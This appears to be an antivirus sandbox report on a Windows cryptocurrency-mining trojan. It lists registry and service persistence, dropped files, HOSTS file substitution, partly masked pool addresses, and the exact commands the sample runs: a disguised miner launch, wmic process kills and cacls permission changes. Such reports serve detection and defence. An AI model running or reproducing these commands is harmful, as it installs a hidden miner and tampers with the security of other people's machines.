Technical Information
To ensure autorun and distribution
Sets the following service settings
- [HKLM\System\CurrentControlSet\Services\Network Provider Service] 'Start' = '00000002'
- [HKLM\System\CurrentControlSet\Services\Network Provider Service] 'ImagePath' = '%WINDIR%\Fonts\powers\svchost.exe'
Creates the following services
- 'Network Provider Service' %WINDIR%\Fonts\powers\svchost.exe
Malicious functions
Terminates or attempts to terminate
the following system processes:
- %WINDIR%\fonts\powers\cmd.exe
Modifies file system
Creates the following files
- %TEMP%\$inst\2.tmp
- %TEMP%\$inst\temp_0.tmp
- %WINDIR%\fonts\powers\cmd.exe
- %WINDIR%\fonts\powers\svchost.exe
- %WINDIR%\fonts\powers\wudfhosts.exe
- %TEMP%\f4d9.tmp\f4ea.tmp\f4eb.bat
Deletes the following files
- %TEMP%\$inst\temp_0.tmp
- %TEMP%\$inst\2.tmp
- <DRIVERS>\etc\hosts
Substitutes the HOSTS file.
Network activity
Connects to
- '17#.#54.27.22':666
TCP
Other
- '17#.#54.27.22':666
Miscellaneous
Creates and executes the following
- '%WINDIR%\fonts\powers\cmd.exe'
- '%WINDIR%\fonts\powers\svchost.exe' install "Network Provider Service" %WINDIR%\Fonts\powers\WUDFhosts.exe -o 17#.#54.27.22:666 -u 1 -p x -k --nicehash --max-cpu-usage=25 -o 60.##.24.190:666 -u 1 -p x -k --nicehash --max-cpu-usag...
- '%WINDIR%\fonts\powers\svchost.exe' start "Network Provider Service"
- '%WINDIR%\fonts\powers\svchost.exe'
- '%WINDIR%\fonts\powers\wudfhosts.exe' -o 17#.#54.27.22:666 -u 1 -p x -k --nicehash --max-cpu-usage=25 -o 60.##.24.190:666 -u 1 -p x -k --nicehash --max-cpu-usage=25 -o 67.##9.32.250:8080 -u 1 -p x -k --nicehash --max-cpu-usage=25
Executes the following
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\F4D9.tmp\F4EA.tmp\F4EB.bat %WINDIR%\Fonts\powers\cmd.exe"
- '<SYSTEM32>\wbem\wmic.exe' process where "ExecutablePath like 'C:\\Windows\\system\\%'" delete
- '<SYSTEM32>\wbem\wmic.exe' process where "ExecutablePath like 'C:\\Windows\\temp\\%'" delete
- '<SYSTEM32>\wbem\wmic.exe' process where "ExecutablePath like 'C:\\Windows\\Fonts\\%'" delete
- '<SYSTEM32>\wbem\wmic.exe' process where "ExecutablePath like 'C:\\Windows\\Cursors\\%'" delete
- '<SYSTEM32>\wbem\wmic.exe' process where "ExecutablePath like 'C:\\Program Files\\SQLWriter$\\%'" delete
- '<SYSTEM32>\net1.exe' stop "Power report"
- '<SYSTEM32>\sc.exe' delete "Power report"
- '<SYSTEM32>\sc.exe' delete "network support"
- '<SYSTEM32>\sc.exe' description "Network Provider Service" "?????????????,?????????????????????,??????????????????,???????????????????"
- '<SYSTEM32>\net1.exe' stop "SQL Shadow Copy Support"
- '<SYSTEM32>\sc.exe' delete "SQL Shadow Copy Support"
- '<SYSTEM32>\net1.exe' stop WinIniter
- '<SYSTEM32>\sc.exe' delete WinIniter
- '<SYSTEM32>\takeown.exe' /F <DRIVERS>\etc\hosts
- '<SYSTEM32>\cacls.exe' <DRIVERS>\etc\hosts /e /t /g everyone:F
- '<SYSTEM32>\ping.exe' -n 3 127.0.0.1
- '<SYSTEM32>\wbem\wmic.exe' process where "ExecutablePath like 'C:\\Windows\\debug\\%'" delete
- '<SYSTEM32>\net1.exe' stop "network support"
- '<SYSTEM32>\wbem\wmic.exe' process where "ExecutablePath like 'C:\\Program Files\\Windowsd\\%'" delete
- '<SYSTEM32>\cacls.exe' %WINDIR%\debug\*.exe /t /e /c /d everyone
- '<SYSTEM32>\cacls.exe' C:\PerfLogs\SystemUndate\*.exe /t /e /c /d everyone
- '<SYSTEM32>\wbem\wmic.exe' process where "ExecutablePath like 'C:\\PerfLogs\\SystemUndate\\%'" delete
- '<SYSTEM32>\cacls.exe' %ALLUSERSPROFILE%\wmiappsrv\*.exe /t /e /c /d everyone
- '<SYSTEM32>\wbem\wmic.exe' process where "ExecutablePath like 'C:\\programdata\\wmiappsrv\\%'" delete
- '<SYSTEM32>\cacls.exe' %WINDIR%\Fonts\*.exe /t /e /c /d everyone
- '<SYSTEM32>\cacls.exe' %WINDIR%\Cursors\*.exe /t /e /c /d everyone
- '<SYSTEM32>\wbem\wmic.exe' process where "ExecutablePath like 'C:\\Windows\\data\\%'" delete
- '<SYSTEM32>\ping.exe' -n 2 127.0.0.1
- '<SYSTEM32>\wbem\wmic.exe' process where "ExecutablePath like 'C:\\Windows\\Tasks\\%'" delete
- '<SYSTEM32>\cacls.exe' %WINDIR%\system\*.exe /t /e /c /d everyone
- '<SYSTEM32>\cacls.exe' %WINDIR%\temp\*.exe /t /e /c /d everyone
- '<SYSTEM32>\cacls.exe' %WINDIR%\data\*.exe /t /e /c /d everyone
- '<SYSTEM32>\cacls.exe' "%WINDIR%\securebootthemes\microsoft\*.exe" /t /e /c /d everyone
- '<SYSTEM32>\cacls.exe' "%ProgramFiles%\SQLWriter$\*.exe" /t /e /c /d everyone
- '<SYSTEM32>\cacls.exe' "%ProgramFiles%\Windowsd\*.exe" /t /e /c /d everyone
- '<SYSTEM32>\cacls.exe' %WINDIR%\Tasks\*.exe /t /e /c /d everyone
- '<SYSTEM32>\cacls.exe' %WINDIR%\Fonts\powers\*.exe /e /t /g everyone:F
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\F4D9.tmp\F4EA.tmp\F4EB.bat %WINDIR%\Fonts\powers\cmd.exe"' (with hidden window)
